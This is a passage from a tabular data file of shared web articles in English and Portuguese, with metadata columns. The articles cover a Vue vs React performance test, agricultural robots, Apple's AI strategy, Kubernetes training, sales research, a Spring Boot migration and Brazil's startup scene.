time, which is the point of using Immutable.js. So we'll scrap this approach, it's not how Vue was designed to work anyway but we're coming from a React perspective here. We changed the data structure so we're just exposing a POJO of state then passing this directly to the Vue instance. All updates to games are on the same object so the reference is the same; the complete opposite to what we were doing for React. This wasn't much of a code change however. Once we had stripped away Immutable.js, all we needed to do was expose the games: Instead of subscribing to the data source in the component, which is what we did in the React App component, we subscribe to it in our little store. We then expose the state via a getter so Vue can hook into it whilst keeping it readonly via our setter. I stole this approach by looking at the source of Vuex, a state management lib for Vue. Once that was sorted we ran the test and the results are insane: The first image is Vue, the second is the React summary from earlier. Look at that circle. So much idle. I had to run this test and the React one many, many times to make sure this was legit. We can see here that Vue spends much less time in itself compared to React. This is down to how each component handles its data and updates. I thought this was pretty telling too. Significantly less yellow on the Vue timeline. The memory seems pretty good too. Although it is creeping up, maybe indicating some issue in my data generation. Okay cool so this is awesome but we evidently have some room to experiment. What happens when we scale up to 100 games? We'll have to leave the page for a bit to let each game ""kickoff"". Our Vue implementation handles the load much better than our React one, which has spent over 3 times the amount of time scripting than with 50 games (half the games). Not sure what's gonna happen but let's try 500 games, I'll only record 15secs here (if we don't kill the timeline buffer...) To be honest I'm surprised I could record 15 seconds of timeline for the React version. In fact it seemed to take up a lot less of the timeline buffer than the Vue implementation. The React page was unusable, taking ~10seconds to update the clock by 1 second. The Vue page didn't fare much better but for different reasons, it's pretty nice to see the painting time take longer than the scripting time. I could still highlight the rows and the updates weren't in spikes, just behind. Conclusion I'm pretty shocked by these results, I didn't know whether Vue would be better at all, let alone by this much. These aren't perfect tests but they are constructed around a real world problem where we don't/can't have the perfect solution. The takeaway is that Vue handles frequent changes to existing elements/data much better than React, and I believe this is due to its reactivity system. Cheers for reading.",en
1464107595,CONTENT SHARED,8743240285401859304,1766257854965201953,6954745405088815586,,,,HTML,http://m.olhardigital.uol.com.br/pro/noticia/-robo-rancheiro-conseguira-cuidar-sozinho-de-fazendas-de-gado/58575,'Robô-rancheiro' conseguirá cuidar sozinho de fazendas de gado,"Pesquisadores do Australian Centre for Field Robotics (ACFR) pretendem iniciar em junho o período de testes de 2 anos do ""Shrimp"", um 'robô-rancheiro' voltado para o gerenciamento de fazendas de gado . Os testes serão em fazendas da província de New South Wales, na Austrália. O Shrimp é composto por um conjunto de sensores sobre uma plataforma com quatro rodas. Ele utiliza sensores de visão e sensores térmicos para monitorar em tempo real a posição e a temperatura corporal de aniais como vacas e ovelhas. Com isso, ele pode pastorear os grupos e monitorar sua saúde. O vídeo abaixo mostra o robô em funcionamento: Essas informações também permitem que o Shrimp monitore a saúde dos animais, já que doenças podem afetar seu comportamento e temperatura corporal. Ele também conseguirá medir os níveis de ração dos animais e conseguirá monitorar o solo para determinar a qualidade do pasto, de acordo com o The Next Web . Fazenda robótica Em entrevista ao New Scientist , o lider do projeto Salah Sukkarieh disse que principal objetivo do projeto era ""melhorar a qualidade da saúde animal e tornar mais fácil para fazendeiros manter grandes paisagens onde os animais possam andar livremente"". Segundo os pesquisadores, o robô será capaz de cuidar de grupos de 20 a 150 animais. Nâo é a primeira vez que os pesquisadores da ACFR criam robôs voltados para a agropecuária. Outras criações do centro de pesquisa também são capazes de inspecionar plantas, contar frutas e remover ervas daninhas usando pesticidas. O vídeo abaixo mostra todas elas em funciomaneto:",pt
1464108980,CONTENT SHARED,6245165134513326654,3061140421699761127,-4247064988443763922,,,,HTML,http://vip.abril.com.br/assista-show-une-100-drones-e-uma-orquestra-sinfonica-para-quebrar-recorde-mundial/,ASSISTA: show une 100 drones e uma orquestra sinfônica para quebrar recorde mundial | VIP,"O céu da pequena cidade de Tornesch, na Alemanha, foi iluminado por uma centena de drones ao som de uma orquestra interpretando a Quinta Sinfonia de Beethoven. O espetáculo, além de impressionar os espectadores, quebrou a marca mundial de mais veículos aéreos não tripulados voando ao mesmo tempo, de acordo com o Guinness World Records , o livro dos recordes. A ação foi promovida em conjunto com a empresa de tecnologia norte-americana Intel Corporation. Por meio de um software da marca, a iluminação e o voo dos drones foram totalmente controlados de forma remota. VEJA TAMBÉM O recorde anterior era de 50 drones voando ao mesmo tempo, em um experimento científico realizado por estudantes da Califórnia, nos EUA.",pt
1464111011,CONTENT SHARED,-3750879736572068916,1895326251577378793,4037412057375119343,,,,HTML,http://www.businessinsider.com/apple-is-the-next-microsoft-2016-5,"No, Apple isn't the next BlackBerry - it's the next Microsoft","Business Insider Over the weekend, long-time iOS developer and serial entrepreneur Marco Arment made a splash when he aired his concerns that without a serious investment in artificial intelligence, Apple could go the way of BlackBerry . ""Today, Amazon, Facebook, and Google are placing large bets on advanced AI, ubiquitous assistants, and voice interfaces, hoping that these will become the next thing that our devices are for ,"" Arment wrote. ""If they're right - and that's a big 'if' - I'm worried for Apple."" After Arment's piece, the general consensus from Apple's legion of armchair quarterbacks seems to be that yeah, maybe Apple isn't investing in artificial intelligence today to the same degree as its peers, and that it's not playing a role in the larger AI community . But with $200-billion-plus in cash reserves, goes the sentiment, Apple can buy its way to relevance when they need to - a luxury that RIM, the company that later renamed itself BlackBerry, didn't have in 2007 when the iPhone launched. It's a nice idea on paper - Apple is the most valuable company in the world. And while Apple may have whiffed on iPhone sales this past quarter, it's still an incredible, and incredibly profitable business. Just remember that you can't always buy yourself into the next big thing. Which is to say, instead of looking at BlackBerry for historical context, try looking at Microsoft. When the iPhone launched in 2007, Microsoft was also caught flatfooted. While Microsoft had made some early investments in smartphones with its Windows Mobile business, and had much of the technology , the company's obsessive focus on the Windows PC kept it from pulling these mobile efforts together into a cohesive business. And so, in 2014, realizing that it had fallen far behind, former Microsoft CEO Steve Ballmer made what we now recognize as a tremendous mistake : He championed the purchase of Nokia's phone business for $7.2 billion in a Hail Mary play to make Windows on smartphones a thing. Microsoft It didn't work. Microsoft took a $7.6 billion writedown in 2015. And on Monday, research firm Gartner issued a smartphone market report indicating that Microsoft has less than one percent of overall share of the market. That's bad. It was also, in hindsight, totally avoidable if Microsoft had gotten its act together, sooner. The lesson for Apple, and Apple shareholders, is that it's not enough to have a ton of money and just throw around cash to solve every problem. It takes real vision, strategy, and execution, and a first-mover advantage is nice, too. It's important to remember, too, that while Microsoft is no longer the dominant company it once was, it hasn't just rolled over and died during Apple's march to the top. In fact, under new CEO Satya Nadella, Microsoft has rethought how it does business and is now going through a kind of critical renaissance across every product line (except smartphones). YouTube Similarly, it seems extremely unlikely that Apple is doomed. As much as we're all talking about voice assistants and virtual reality as the next big thing, we'll still need smartphones for a long time, and Apple has that market pretty well locked up. But as Arment notes, if Google et al are right about artificial intelligence, Apple will have to follow in Microsoft's footsteps and totally change its its modus operandi to embrace the future - not just with its checkbook, but with its culture and its vision. And that may prove more difficult than anybody gives it credit for. EXCLUSIVE FREE REPORT: 25 Big Tech Predictions by BI Intelligence. Get the Report Now """,en
1464114230,CONTENT SHARED,1828340614995116767,-1443636648652872475,2359074688376249165,,,,HTML,https://cloudplatform.googleblog.com/2016/05/up-your-DevOps-chops-with-this-online-Kubernetes-class.html,Up your DevOps chops with this online Kubernetes class,"If you're looking for a fun way to get up-to-speed on Kubernetes and microservices without leaving the comfort of your desk, look no further. The new online course "" Scalable Microservices with Kubernetes "" on Udacity is designed for developers and systems administrators that want to hone their automation and distributed systems management skills, and is led by Google Cloud Platform's very own Kelsey Hightower and Carter Morgan . There's also a guest appearance from Battery Ventures Technology Fellow and DevOps legend Adrian Cockcroft ! This intermediate-level class consists of four lessons: Introduction to Microservices Building Containers with Docker Kubernetes Deploying Microservices (from image to running service) To excel at the course, you should be fluent in at least one programming language, be familiar with general virtualization concepts and know your way around a Linux command line. Udacity estimates that students can complete the course in about one month. Successful completion of the course counts towards Udacity's upcoming DevOps Engineer Nanodegree - one of several Nanodegrees co-developed by Google. Best of all, the course is free! Here's where to sign up.",en
1464135876,CONTENT SHARED,-21036008762564671,2416280733544962613,6543088479402480909,,,,HTML,http://www.mckinsey.com/business-functions/marketing-and-sales/our-insights/the-sales-secrets-of-high-growth-companies,The sales secrets of high-growth companies,"The authors of Sales Growth reveal five actions that distinguish sales organizations at fast-growing companies. What distinguishes sales organizations at fast-growing companies from their lagging peers? In a wide-ranging survey of more than 1,000 companies, we unearthed five meaningful differences: 1. Commitment to the future That the world is changing ever more quickly may be a cliché, but that makes it no less true: all sales leaders know that they need to anticipate changes that could turn into opportunities or threats. Yet the best leaders move beyond acknowledgement to commitment. They make trend analysis a formal part of the sales process through systematic investments of time, money, and people. Building and sustaining the capability to take a forward-looking view of the market is not easy. In discussions with more than 200 sales leaders while researching our new book, Sales Growth , two common characteristics emerged: the mind-set of sales leadership and resource commitment. Sales leaders must consistently monitor the macro-environment in search of sales opportunities, no easy task given the relentless pressure to hit near-term targets. Forward planning must be part of someone's job description-not just part of top management's lengthy to-do list-with sufficient resources to take advantage of the best opportunities. Companies have to be willing to take risks now to create sales capacity long before the revenue will materialize. More than half of the fast-growing companies we analyzed look at least one year out, and 10 percent look more than three years out. After planning, sales leaders aren't afraid to put their money where they think the growth will be: 45 percent of fast-growing companies invest more than 6 percent of their sales budget on activities supporting goals that are at least a year out-a significant commitment in an environment where sales leaders fight for each dollar of investment. 2. Focus on key aspects of digital Successful brands don't just ""do digital""; they use their full arsenal of capabilities to massively increase the effectiveness of their sales force and to transform the customer buying experience to be ""digital first."" It pays off: digital channels provided at least a fifth of 2015 revenues for 41 percent of the fast-growing companies we surveyed-both business-to- business and business-to-consumer-compared with just 31 percent at slow-growing companies. This trend is only becoming more important, as almost two-thirds of all US retail sales by 2017 will involve some form of online research, consideration, or purchase. When it comes to customer experience, leading organizations are building out digital routes to market or augmenting traditional direct or indirect sales with digital. For traditional software companies, the focus on SaaS-based products is driving a change toward a digital sales experience where they discover, demo, and trial, all within a few clicks online. Many industrial companies are seeing their products also sold in external marketplaces, which is prompting them to build out their own e-commerce platforms to directly shape the customer experience. Sales leaders are especially strong at harnessing digital tools and capacities to support the sales organization. Fast-growing companies are more effective than slower-growing ones at using digital tools and capabilities to support the sales organization (43 percent versus 30 percent). They tend to focus on three fronts: First, they arm sales teams with digital tools that can quickly deliver relevant and usable insights. Second, they treat partners as an extension of the sales force and invest in collaboration tools to improve the flow of data between organizations. Third, they recognize the potential for big micromarket or macrotrend analyses to improve planning and capture opportunities most effectively. As the technology emerges, they are making targeted investments in tools, technologies, and talent to make the most of these opportunities. Success in digital comes from fanatical optimization-not as a one-off project, but as a continuous process. It comes from harnessing mobile technologies to drive growth, understanding how customers use and switch between the mobile channel and other channels. And it comes from integrating digital into a great omnichannel experience that spans marketing to post-purchase. 3. Harnessing of the full range of sales analytics Only now is the promise of advanced analytics catching up to the hype. Take customer analytics. Companies that use it extensively see profit improvements 126 percent higher than competitors who don't. And when it comes to sales improvements through the extensive use of advanced analytics, the difference is even larger: 131 percent. The value of advanced analytics is wide ranging, but where sales leaders excel against their peers is in making better decisions, managing accounts, uncovering insights into sales and deal opportunities, and sales strategy. In particular, they are shifting from analysis of historical data to being more predictive. They use sophisticated analytics to decide not only what the best opportunities are but also which ones will help minimize risk. In fact, in these areas three quarters of fast-growing companies believe themselves to be above average, while between 53 and 61 percent of slow-growing companies hold the same view. The new world of sales growth Read the article But even among fast-growing companies, only just over half-53 percent-claim to be moderately or extremely effective in using analytics to make decisions. For slow-growing companies, it drops to a little over a third. This indicates that there remains significant untapped potential in sales analytics. 4. Investment in people A rigorous focus on sales-force training is a clear differentiator between the fast- and slow-growing companies we surveyed. Just under half the fast growers spend significant time and money on sales-force training, compared to 29 percent of slow growers. There's room for improvement, though. Among fast growers, just over half believe their organization has the sales capabilities it will need in the future, while a third of the slow growers feel similarly equipped. As few as 18 percent of fast growers think they excel at pipeline management, and even in the most successful area-understanding specific customer needs-only 29 percent claimed to be outstanding. What is notable from our research, however, is that fast growers are committed to improving sales talent and performance. The head of sales at a North American consumer-services company, for example, tried a new approach to improving sales performance after years of fruitless initiatives. Instead of focusing solely on what the sales force had to do, the program also devoted significant attention to building the talents and capabilities to enable them to do it, making a substantial investment in teaching skills and enforcing their use with specific goals. The result? A 25 percent improvement in rep productivity across all regions within 18 months. More impressive still, the gains stuck, and two years later performance was still improving. 5. Marriage of clear vision with leadership action Two-thirds of fast-growing companies undertook a major performance improvement over the previous three years, and 84 percent considered it successful or very successful. Sales leaders at these organizations said the two most important factors that contributed to that success were management articulation of a clear and consistent vision and strategy, followed by leadership commitment. Articulating the vision should be simple. The chief executive officer of an emerging-markets telecommunications firm, for example, announced a ""3 × 3 × 3"" growth aspiration: three years to expand beyond its home country, three years to expand beyond its region, and three years to become a leading global brand. Besides being simple, the aspiration was bold, specific, and easily measurable. No sales transformation will work without steadfast support from the very top. Only a committed leader can override internal politics, see the big picture, and focus on the best solution regardless of past practices. Sometimes, the commitment can be very personal. For example, the head of sales at another telecom firm recognized how fundamental customer experience was for success. At the same time that he controversially clamped down on aggressive sales techniques that had a negative effect on customer experience, he proposed to his CEO that customer satisfaction ratings should determine 25 percent of his variable pay. Sales leaders face a dizzying array of issues and opportunities to manage, often at speeds that seemed unimaginable even a few years ago. But by focusing on what really matters, sales leaders can break away from their competitors. Click here for more information about the second edition of Sales Growth: Five Proven Strategies from the World's Sales Leaders . About the author(s) Homayoun Hatami is a director in the Paris office, Mitra Mahdavian is an associate principal in the Silicon Valley office, Maria Valdivieso is a senior expert in the Miami office, and Lareina Yee is a senior partner in the San Francisco office. Article - McKinsey Quarterly",en
1464143140,CONTENT SHARED,643905832258297060,8766802480854827422,-6396260830210526394,,,,HTML,http://www.prnewswire.com/news-releases/globant-acquires-wae-to-continue-advancing-in-the-creation-of-digital-journeys-300273820.html,Globant acquires WAE to continue advancing in the creation of digital journeys,"This acquisition is aligned with Globant's unique focus of creating digital journeys based on a holistic approach involving three pillars: helping its customers Stay Relevant , working with them to Discover their digital journeys and then Building these journeys based on the latest trends and technologies. WAE's experience and track record will be key to enhancing and fostering the existing strengths of Globant's Discover team. ""WAE shares our vision and recognizes the importance of creating unique experiences for our clients and their end users. The company shares our passion for creativity, innovation, and design. Its professionals are experts in conceiving strategies that can revolutionize brands"", stated Martín Migoya, Globant CEO and Co-founder. ""This new endeavor strengthens Globant's vision of becoming the best partner to help our clients engage in profound digital transformations and create digital journeys that will help them address changes in the digital landscape. We expect them to reinforce and expand the Explore & Discover stages of Globant's model to take our strategic approach to the next level."" ""WAE's recognized experts will allow us to continue building a global team with the best talent in the world, regardless their geographic location. Their experience in truly disruptive projects will be key to enhancing our portfolio"", added Martín Umaran, Globant Chief of Staff and co-founder. ""WAE's focus will help us increase the depth of our capabilities in envisioning digital journeys, based on their current practices: service design, customer insight and UX design. We are thrilled to have them on board"". Founded in 2003, WAE has a team of 40 professionals working from their offices in and . They have developed deep know-how in some of the most innovative technology trends, and have applied this knowledge for many Fortune 500 companies. As a proof of their focus on innovative outcomes, they received a Deloitte Technology Fast 50 award in 2009 and have won awards including The Lovies, UKUX, Webbies, Design for Experience and a Dadi. WAE CEO Chris Averill , added: ""Since its founding, WAE's focus has been to become a leader in building innovative solutions that bring together strategy, design, technology and customers. Globant is an extraordinary company that shares this passion and has a unique and different approach to creating digital journeys and software products. Their growth story and focus make them our perfect match, so we are thrilled with the possibilities that will open in front of us. We are excited to be joining a team that shares our values and our devotion to innovation, and we can't wait to continue working together with Globant to create the best innovative software products"". About Globant Globant (NYSE: GLOB ) is a digitally native technology services company that creates digital journeys for its customers, which impact millions of consumers. Globant is the place where engineering, design, and innovation meet scale. Globant has more than 5,200 professionals in 11 countries working for companies like Google, Linkedin, JWT, EA, and Coca Cola, among others. Globant was included in the ""Cool Vendor in Business Process Services"" Report by Gartner and its client work has been featured as business case studies at Harvard University, Massachusetts Institute of Technology, and Stanford University. Logo - To view the original version on PR Newswire, visit: SOURCE Globant Related Links",en
1464174401,CONTENT SHARED,654383168348870348,3829784524040647339,1099058568997834734,,,,HTML,http://labrosa.ee.columbia.edu/millionsong/,Million Song Dataset | scaling MIR research,"The Million Song Dataset is a freely-available collection of audio features and metadata for a million contemporary popular music tracks. Its purposes are: To encourage research on algorithms that scale to commercial sizes To provide a reference dataset for evaluating research As a shortcut alternative to creating a large dataset with APIs (e.g. The Echo Nest's) To help new researchers get started in the MIR field The core of the dataset is the feature analysis and metadata for one million songs, provided by The Echo Nest . The dataset does not include any audio, only the derived features. Note, however, that sample audio can be fetched from services like 7digital , using code we provide. The Million Song Dataset is also a cluster of complementary datasets contributed by the community: The Million Song Dataset started as a collaborative project between The Echo Nest and LabROSA . It was supported in part by the NSF. How to get started To get a sense of the dataset, you can look at this description of one of the million songs. To start your own experiments, you can download the entire dataset (280 GB). We also provide a subset of 10,000 songs (1%, 1.8 GB compressed) for a quick taste. While waiting for the download, take a look at the FAQ , which includes a list of all the fields in the database. We also have a set of suggested tasks , including snippets of code to get you started. Please contact us if you have any questions about the dataset and how to use it. You can also try browsing and posting on our forum (registration required). Using the dataset? Please cite the following paper [ pdf ] [ bib ]: Acknowledgements The Million Song Dataset was created under a grant from the National Science Foundation, project IIS-0713334. The original data was contributed by The Echo Nest, as part of an NSF-sponsored GOALI collaboration. Subsequent donations from SecondHandSongs.com, musiXmatch.com, and last.fm, as well as further donations from The Echo Nest, are gratefully acknowledged. Any opinions, findings and conclusions or recommendations expressed in this material are those of the authors and do not necessarily reflect the views of the sponsors.",en
1464180810,CONTENT SHARED,-8508598439431879680,3217014177234377440,7162425521395278643,,,,HTML,http://www.administradores.com.br/noticias/marketing/rede-de-hoteis-faz-promocao-relampago-com-diarias-por-r-25/110856/,Rede de hotéis faz promoção relâmpago com diárias por R$ 25,"Os hotéis budget da rede ibis farão uma promoção no próximo dia 25/5, com diárias por apenas R$ 25,00 por pessoa. Os clientes terão 25 horas - entre a meia-noite do dia 25/5 e uma da manhã do dia 26/5 - para efetuar as reservas n o site do ibis , com direito a hospedagem entre 25 de junho e 25 de dezembro de 2016. ""O ibis budget, que assina como 'o hotel que cabe no seu bolso', completou agora 25 hotéis no Brasil. Para homenagear o marco e também comemorar o fato de estarmos cada vez mais acessíveis no mercado, estamos fazendo essa super promoção"", afirma Roberta Vernaglia, VP de Marketing da Accorhotel, operadora hoteleira da ibis. A empresa ainda informa que a promoção está sujeita à disponibilidade dos hotéis ibis budget no país e não é válida para o Rio de Janeiro durante as Olimpíadas e Paralimpíadas.",pt
1464181070,CONTENT SHARED,6437568358552101410,-1032019229384696495,3498647633704503701,,,,HTML,http://techcrunch.com/2016/05/25/tech-in-brazil-is-booming-despite-the-countrys-political-troubles/,Tech in Brazil is booming despite the country's political troubles,"It was a balmy night in Rio de Janeiro and a pretty J.P. Morgan Private Wealth representative was buying drinks for newly paper-rich entrepreneurs. Nearby at the pool of the city's only Relais et Chateaux property mingled investors who had flown in from New York, San Francisco, London and Berlin. The next morning the Hotel Santa Teresa's projector beamed countless up-and-to-the-right charts as entrepreneurs presented their well-funded ideas to the participants of Founders Forum Brazil 2012. Few of those companies still exist today. The hype of that era is long gone, overwhelmed by a political and economic crisis that regularly fills the front pages of global newspapers. However, unfazed by the high-profile failures of many foreign-backed startups, technology in Brazil continued its forward march. While Brazil's overall GDP fell 4 percent in 2015, the tech industry has been largely immune to the slowdown, growing 20 percent from 2014-2015. Contrary to conventional wisdom, venture investments in Latin America have also consistently grown from those heady days, reaching US$594 million in 2015, up from US$387 million in 2012, according to the Latin America Venture Capital Association. Surprisingly, recession-racked Brazil consumed 63 percent of the region's total investment, with the city of Sao Paulo receiving the lion's share of VC dollars. The reality is that the recession and political crisis created a clear divergence of fortunes among Brazil's technology companies. Many of the companies that presented at Founders Forum Brazil 2012 were plays on the emergence of Brazil's middle class. The entrepreneurs and investors were wagering that these newly empowered consumers would snap up furniture, shoes and baby supplies at record rates. Unfortunately, an economy fueled by ever-looser credit and constantly increasing government spending could not last. As in most countries, recessions lead to belt-tightening among companies and consumers. Just as expected, the technology companies that thrived are those that offer consumers and businesses a way to improve efficiency and sustainably reduce their costs. Examples include small business SaaS ERPs like Conta Azul and Omie , consumer productivity apps like Gympass and GuiaBolso , and companies that facilitate B2B transactions like Intelipost and Loggi . The relative unconcern about the recession among Brazilian technology entrepreneurs was evident last week at the award gala hosted by Latam Founders Network , a group made up of founders, executives and investors from across the region. Camera crews from all of Brazil's major television stations were there to cover what Brazil's leading business magazine, EXAME, dubbed the ""Oscar for Startups."" Companies competed in eight categories, including B2C, Best Investor, and Most Innovative. (Full disclosure: My company, Gaveteiro.com.br, was nominated in the B2B category). Past winners have included Printi , Nubank and iFood , all of which went on to raise large rounds. Taking home the prizes were companies that fit the trend of efficiency-driving technology. Contabilizei , SaaS accounting software, won in the B2B category. Dr. Consulta , a chain of low-cost, technology-enabled health clinics serving poor areas, won Most Impactful. Finally, Pipefy , a SaaS workflow tool with global ambitions, won Most Innovative. Entrepreneur of the Year went to Bruno Pierobon , CEO of Zup , a company focused on helping companies deal with all the complexities of systems integration and outsourcing services. Investors, too, have recognized this trend. Kaszek Ventures , one of the region's largest funds, has invested heavily in B2B and consumer finance (credit card interest rates in Brazil can pass 200 percent a year). Eight of their last 10 investments listed in CrunchBase have been in these two categories. Ditto for Redpoint eventures , another large fund focused on Brazil that took home this years' Investor of the Year award. No one knows the final outcome of Brazil's political crisis - until now it has been an unpredictable cross of Gabriel Garcia Marquez's surrealism and Netflix's House of Cards. What we do know, however, is that efficiency-driving innovation will have its place, come whatever market environment. Those entrepreneurs and investors who can thrive in a tough macroeconomic scenario are surely well-positioned for long-term success in the world's seventh-largest economy.",en
1464184936,CONTENT SHARED,4920704891238922872,-1387464358334758758,3038871397115706241,,,,HTML,http://googlediscovery.com/2016/05/24/login-sem-senha-no-android-deve-chegar-ate-o-final-de-2016/,Login sem senha no Android deve chegar até o final de 2016 | Google Discovery,"O Google tem plano de incorporar um novo método de login sem senha como parte do Projeto Abacus e agora parece que o recurso vai se tornar uma realidade até o final do ano. Projeto Abacus monitora uma combinação de sinais em tempo real para verificar a sua identidade, incluindo digitação e padrões de voz, localização atual, reconhecimento facial e muito mais. Este ""Trust Score"" será capaz de determinar se você é quem diz ser. ""Nós temos um telefone e esses telefones possuem sensores em si. Por que ele não poderia determinar quem eu sou, sem precisar de uma senha?"", disse Daniel Kaufman, chefe do Google ATAP (Advanced Technology and Projects). é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1464188401,CONTENT SHARED,-411378842607264055,7645894863578715801,816147570980039345,,,,HTML,https://stormpath.com/blog/spring-boot-migration,How We Migrated Our Backend to Spring Boot in 3 Weeks - Stormpath User Identity API,"Last week, we updated the core Stormpath product - our REST API - to Spring Boot. This is a major architectural upgrade for our codebase and it simplified application development and deployment for our whole team, for both software engineering and operations. And it was shockingly easy. This blog post will cover the entire migration, from our initial decision-making process to configuration, architecture, ecosystem specifics, and even how Spring Boot simplified our deployment. We hope this will allow other Java teams to benefit from what we learned. Why Migrate from Spring to Spring Boot? Our application was a traditional Spring app secured by Apache Shiro and configured with both XML and Java Config. When we added Spring Boot, it didn't replace Spring of course (since Spring Boot is built on top of Spring), but it simplified much of our architecture by adding a layer that helps automate configuration and deployment while making it easier to implement features, as well as prime our architecture for modular microservices (more on that later). Because we have thousands of customers in production and are constantly developing new features, we did extensive testing to make sure everything still worked as expected. We also built some custom Spring Boot Starters, including a nifty one for real-time stream messaging with Apache Samza. And even though our software stack is a few years old and involves a lot of business edge cases and intricate code paths, we were able to make the transition in just three weeks. In the process, we tried to use as much of the Spring Boot and Spring Cloud ecosystem to remove as much custom code as possible. Spring Boot allows us to do that in a clean, plugin-oriented way. Here's what we did: Spring Boot Configuration For The Win Much of what makes Spring Boot so convenient starts with the way the Spring team decided to handle configuration. The configuration set-up is simple, consistent, and best of all, mostly automated, which stabilizes the development environment and also expedites deployment. From XML Config to Java Config Traditional Spring framework apps used XML for configuration, and software engineers use XML to declare dependencies and object graphs. With Spring Boot, instead of a long XML file to represent our product stack, our config is now 'Bootiful' type-safe Java. Java-based config allows our IDEs to spot problems and give us warnings when our configurations don't line up. (XML also did that, but in Java, the relationships are a little cleaner and easier to see.) This allows our team to start the product very quickly, with no need to see the entire Spring config, and no time-consuming trips down dependency rabbit holes. Boot Dictates Where Your Config Files Reside The Spring Boot team took an opinionated approach to where the config files reside. This reduces the guesswork and effort around overriding default settings when the product moves to production (e.g. a password in prod is not the same one your developers have access to). We had a custom-built config mechanism that managed this, but the Boot implementation is more idiomatic, so everyone on the team has consistent expectations about where config resides. It's easier to understand and manage once you learn the convention. Auto-Configuration in Spring Boot Spring Boot also relies on an auto-configuration mechanism, so the many starters in the Spring Boot ecosystem are set to sensible defaults. All we have to do is override defaults with values relevant to our production infrastructure - relatively minor configuration changes only. Spring Boot Starter Architecture and Ecosystem The Spring Boot Starter architecture and ecosystem reduced the amount of custom code we had to maintain, particularly around common functions and services. Because our underlying infrastructure is service-oriented, it supported an easier transition to a microservice-based architecture that combines starters from the eco-system with ones we built ourselves. Modular Architecture and Ecosystem Starters The Spring Boot Starter ecosystem gives us a huge amount of out-of-the-box functionality that traditionally we used to build ourselves. Instead of defining beans and wiring them ourselves, we're using Spring Boot Starters wherever possible. This allows us to build nimbly using a modular architecture, gathering starters as we need to support various services, and then assembling them together to make the final application with simple config settings. We use the ecosystem integrations for Zookeeper, Kafka, Cassandra, JMS messaging, SMTP mail servers and many others. Historically, we've had to build, integrate and configure these services ourselves, but now we just drop in the necessary starter dependency, and boom: the starter is enabled and auto-configured! Build Your Own Spring Boot Starter - Stormpath and Samza We started building Spring Boot starters for our own product. A few months ago, we launched the Stormpath Spring Boot Starter , with the idea that we would soon use it in other applications we wrote for our own needs. It handles a lot of user management features , and we eat our own dog food. More recently, we developed a Spring Boot Starter for Apache Samza , which we open-sourced under the Apache 2.0 license. Samza is a real-time streaming product that traditionally requires YARN, a complex infrastructure to launch JVMs and manage memory across them. I was frustrated by how complicated it is to deploy Samza, so we reverse engineered the parts that launch a Samza container, and turned it into a Spring Boot Starter. Now, anytime we have a Samza microservice that consumes Kafka events, we can skip the complex deployment process (unzipping a tarball, running a shell script to launch the process and connecting to a YARN environment, etc.). It's now just a simple Spring Boot application that can be launched from the command line, and it changed our entire microservices architecture in a week's worth of work. Dramatically Simplified Deployment with Spring Boot The most impressive upgrade in the transition was in how it simplified deployment, for both Operations and Engineering teams. This came through a number of smart features: Webserver Embedded in Boot, Not a WAR File Before Spring Boot, our application deployed as a WAR file inside of a Tomcat web application container. This is pretty standard, and certainly beats many legacy options, but with Spring Boot, Tomcat (or Jetty, Undertow, etc.) is embedded in the framework. The big benefit is that our software engineers can easily configure, update, and manage Tomcat at a development level via a set of properties without forcing our ops team to do it. Whenever we deploy a new version, they don't have to worry much about whether a configuration setting needs to be changed or what version of Tomcat we're on. It's one less piece of server infrastructure to configure, maintain, and update manually, leaving Ops free to rely on the software engineering team, as well as our Continuous Integration pipeline to upgrade processes. It's a lot cleaner and simpler for Operations, and a light lift for the engineers as well. One JAR File to Rule Them All Spring Boot bundles your application into one JAR that can be distributed and executed on an operating system. To start the application, you just run a simple command to start up that JAR file. From a distribution management perspective, once that artifact is built and put into an artifact server or a binary repository, Operations only has to pull one file to deploy into the production infrastructure. This naturally limits the amount of coordination required and simplifies our CI pipeline. Once a Spring Boot artifact is built, it's immediately made release candidate that can be tested in the CI environment and promoted to production if everything goes smoothly. All Spring Boot Services All Launch with One Command One great Spring Boot feature is that our core product and all our microservices are launched the exact same way, using one command. Once you know how to launch one app, you know how to launch all of them. No more learning half a dozen options to launch a product. Spring Cloud - The Infrastructure Ecosystem When you deploy a complex application to the cloud, your configuration management, messaging options, service discovery, load balancing, and routing, etc all need to play nicely with each other, and traditionally, it's a lot of work to coordinate and debug. Spring Cloud is an ecosystem on top of Spring Boot that gives out-of-the-box, opinionated approaches of configuration management, service discovery, intelligent routing, load balancing, and more common infrastructure services. The Spring team has started to automate these common SaaS patterns in the form of Spring Cloud projects, each of which is a group of Spring Boot starters. We would have had to build all this automation - now we can configure a good chunk of all of these critical services as simple application name/value properties. Spring Boot At Stormpath Although everyone on the Stormpath engineering team is very familiar with the Spring stack, (and some of us since 2002 before it was even called Spring), Spring Boot doesn't require any prior Spring knowledge. Our Spring Boot migration did require researching lots of Spring Boot Starters to see which ones were valuable to us, however. I believe the effort was well worth the time it has saved us in new feature development and deployment simplicity and speed. Across the team, we're thrilled with the upgrade. Spring Boot Resources We welcome your input and pull requests on our open-source Spring Boot Starters, which are released under the Apache license: Apache Samza Spring Boot Starter Stormpath Spring Boot Starter Thanks for reading and let us know what you think in the comments section below!",en
1464197794,CONTENT SHARED,3155118717275463069,2416280733544962613,6543088479402480909,,,,HTML,http://www.mckinsey.com/business-functions/strategy-and-corporate-finance/our-insights/an-incumbents-guide-to-digital-disruption,An incumbent's guide to digital disruption,"Incumbents needn't be victims of disruption if they recognize the crucial thresholds in their life cycle, and act in time. A decade ago, Norwegian media group Schibsted made a courageous decision: to offer classifieds-the main revenue source of its newspaper businesses-online for free. The company had already made significant Internet investments but realized that to establish a pan-European digital stronghold it had to raise the stakes. During a presentation to a prospective French partner, Schibsted executives pointed out that existing European classifieds sites had limited traffic. ""The market is up for grabs,"" they said, ""and we intend to get it."" Today, more than 80 percent of their earnings come from online classifieds. Navigating digital disruption About that same time, the boards of other leading newspapers were also weighing the prospect of a digital future. No doubt, like Schibsted, they even developed and debated hypothetical scenarios in which Internet start-ups siphoned off the lucrative print classified ads the industry called its ""rivers of gold."" Maybe these scenarios appeared insufficiently alarming-or maybe they were too dangerous to even entertain. But very few newspapers followed Schibsted's path. From the vantage point of 2016, when print media lie shattered by a tsunami of digital disruption, it's easy to talk about who made the ""right"" decision and who the 